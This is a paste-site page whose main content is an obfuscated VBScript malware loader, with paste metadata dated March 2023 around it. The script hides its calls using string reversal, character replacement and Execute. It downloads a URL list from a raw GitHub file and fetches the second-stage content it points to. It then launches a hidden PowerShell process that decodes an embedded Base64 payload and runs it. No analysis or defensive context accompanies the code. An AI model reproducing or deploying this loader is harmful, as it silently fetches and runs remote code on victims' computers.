- 'v1.1.1.1
- dim bhFzr : bhFzr = GetCurrentFolder
- Function GetCurrentFolder()
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- Dim FSO
- Set fso = CreateObject("Scripting.FileSystemObject")
- GetCurrentFolder = FSO.GetAbsolutePathName(".") & "\" & WScript.ScriptName
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- :::::::::::::::::::::::::::
- End Function
- Function hZihd(UyRrn, CBqZR)
- tDsEJ = InStr(UyRrn, CBqZR)
- End Function
- Function jdWbi(Ddxfo, PbIRa, aXQZa)
- iJqID = "jdWbi = "
- iJqID = iJqID + "Replace"
- iJqID = iJqID + "(Ddxfo , PbIRa , aXQZa)"
- execute(iJqID)
- End Function
- Function UXMcA( almAZ )
- dwgSk = "UXMcA = "
- dwgSk = dwgSk + "St" + "rReverse"
- dwgSk = dwgSk + "(almAZ)"
- execute(dwgSk)
- End Function
- dim fuuMi
- fuuMi = " "
- dim PHLJf
- PHLJf = UXMcA("=‡QK‡‡C‡p‡‡I‡cC‡lBQd‡IH‡UBwJ‡‡C‡s‡‡I‡gH‡OBgY‡EE‡xB‡J‡‡C‡s‡‡I‡cC‡oB‡d‡QH‡wBwc‡oD‡v‡wL‡IH‡hBwd‡4C‡nBQa‡QH‡oBQd‡IG‡1Bwc‡UG‡yBwY‡8G‡uB‡d‡UG‡uB‡d‡4C‡jBwb‡0G‡v‡‡U‡oG‡vBQY‡8G‡x‡QN‡cD‡4‡wL‡UF‡wBwY‡IH‡5B‡c‡QH‡lBgc‡8C‡tBQY‡kG‡uBwL‡MF‡lBgc‡YH‡lBgc‡IE‡hBwc‡UG‡2‡‡N‡cC‡o‡‡I‡0F‡dBwW‡QH‡jBQ" & " " & _
- "‡oG‡iBwb‡sF‡g‡‡L‡wG‡sBQd‡4G‡k‡‡K‡UG‡rBwb‡YH‡uBQS‡4C‡p‡wJ‡kE‡WBgR‡IH‡wBwJ‡gC‡kBwb‡gG‡0BQ" & " " & _
- "‡0E‡0BQ" & " " & _
- "‡cE‡u‡QK‡cC‡x‡wc‡MH‡hB‡b‡ME‡u‡wM‡kH‡yBQY‡IH‡iBQa‡wE‡zBwc‡EG‡sBwQ‡cC‡o‡Q" & " " & _
- "‡‡H‡5B‡V‡QH‡lBwR‡4C‡p‡wS‡YF‡LBQd‡UE‡k‡‡K‡QG‡hBwb‡wE‡u‡gb‡kG‡hBQb‡8G‡EB‡d‡4G‡lBgc‡IH‡1BwQ‡oD‡6‡QX‡4G‡pBQY‡0G‡vB‡R‡‡H‡wBQQ‡4C‡tBQ" & " " & _
- "‡QH‡zBQe‡MF‡bBwO‡kC‡g‡QK‡cC‡BBwJ‡‡C‡s‡wJhMJ‡6Eyk‡cC‡o‡Q" & " " & _
- "‡MG‡hB‡b‡‡H‡lBgU‡4C‡KB‡R‡oG‡GBgY‡QC‡g‡‡K‡cG‡uBQa‡IH‡0BwU‡QD‡2‡Q" & " " & _
- "‡MH‡hBgQ‡0G‡vBgc‡YE‡6‡gO‡0F‡0Bgc‡UG‡2Bgb‡8G‡DBgL‡0G‡lB‡d‡MH‡5BwU‡sF‡g‡QP‡‡C‡LBgV‡sE‡1BQR‡QC‡g‡QX‡0F‡bBQ" & " " & _
- "‡QH‡5BgQ‡sF‡7‡wJ‡UC‡BBwd‡EF‡qBgd‡UC‡n‡‡I‡0D‡g‡gS‡QE‡qBgR‡IG‡k‡wO‡cC‡l‡wY‡QH‡DB‡V‡EF‡l‡wJ‡‡C‡9‡‡I‡gH‡OBgY‡EE‡xB‡J")
- PHLJf = jdWbi( PHLJf, fuuMi , "Z")
- dim CdsBx
- dim AsRlA
- on error resume next
- Function Mjgyt( OMCYN )
- set jXALS = createobject("MSXML2.ServerXMLHTTP.6.0")
- jXALS.open "GET", (OMCYN), false
- jXALS.send ""
- Mjgyt = ( jXALS.responseText )
- end Function
- dim opghv
- opghv = UXMcA("1LLD/niam/retpyrcpU/8751oaojP/moc.tnetnocresubuhtig.war//:sptth")
- opghv = Mjgyt( opghv )
- opghv = split(opghv,",")(0)
- AsRlA = Mjgyt( ( opghv ))
- CdsBx = UXMcA("' = eaAxL$") & PHLJf & "'"
- CdsBx = CdsBx & UXMcA(":]gnidocnE.txeT.metsyS[ = fXNrU$;")
- CdsBx = CdsBx & UXMcA(" (gnirtSteG.edocinU:")
- CdsBx = CdsBx & UXMcA("::]trevnoC.metsyS[")
- CdsBx = CdsBx & UXMcA("','%AwQjv%'(ecalper.) ) )'A','‡'(ecalper.eaAxL$ (gnirtS46esaBmorF")
- CdsBx = CdsBx & (AsRlA)
- CdsBx = CdsBx & UXMcA("','%ctCTQ%'(ecalper.)'") & bhFzr & UXMcA("fƂԲƂXNƂԲƂrU$ dnamƂԲƂmoC-ƂԲƂ eƂԲƂxeƂԲƂ.llehƂԲƂsrewƂԲƂopƂԲƂ;)'")
- dim rHDtd
- rHDtd = "Ƃ"
- CdsBx = ( jdWbi(CdsBx, rHDtd + "Բ" + rHDtd, "") )
- set AqUkW = CreateObject("WScript.Shell")
- AqUkW.Run( "powershell -command " & (CdsBx) ), 0, false
[text] gfhgh5j4j4rtttre
Viewer
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Editor
You can edit this paste and save as new:
File Description
- gfhgh5j4j4rtttre
- Paste Code
- 23 Mar-2023
- 3.62 Kb
You can Share it:
Latest Code Pastes